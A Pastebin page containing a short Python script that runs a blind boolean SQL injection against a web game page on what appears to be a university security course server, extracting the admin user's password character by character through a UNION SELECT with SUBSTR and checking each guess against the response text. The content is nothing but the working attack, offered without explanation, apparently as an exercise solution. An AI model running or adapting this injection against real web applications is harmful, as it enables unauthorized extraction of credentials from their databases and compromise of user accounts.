Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- url = 'http://csce465shell.martincarlisle.com/problem/34877/game.php'
- s = "0123456789abcdef"
- p = ''
- for i in range(1, 9):
- for c in s:
- data = {'id': "0' union select name,password from users where name='admin' and SUBSTR(password, "+str(i)+",1)='"+c+"';\"#'", "debug": 0}
- x = requests.post(url, data = data)
- if 'I know that game!' in x.text:
- p += c
- break
- print(p)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement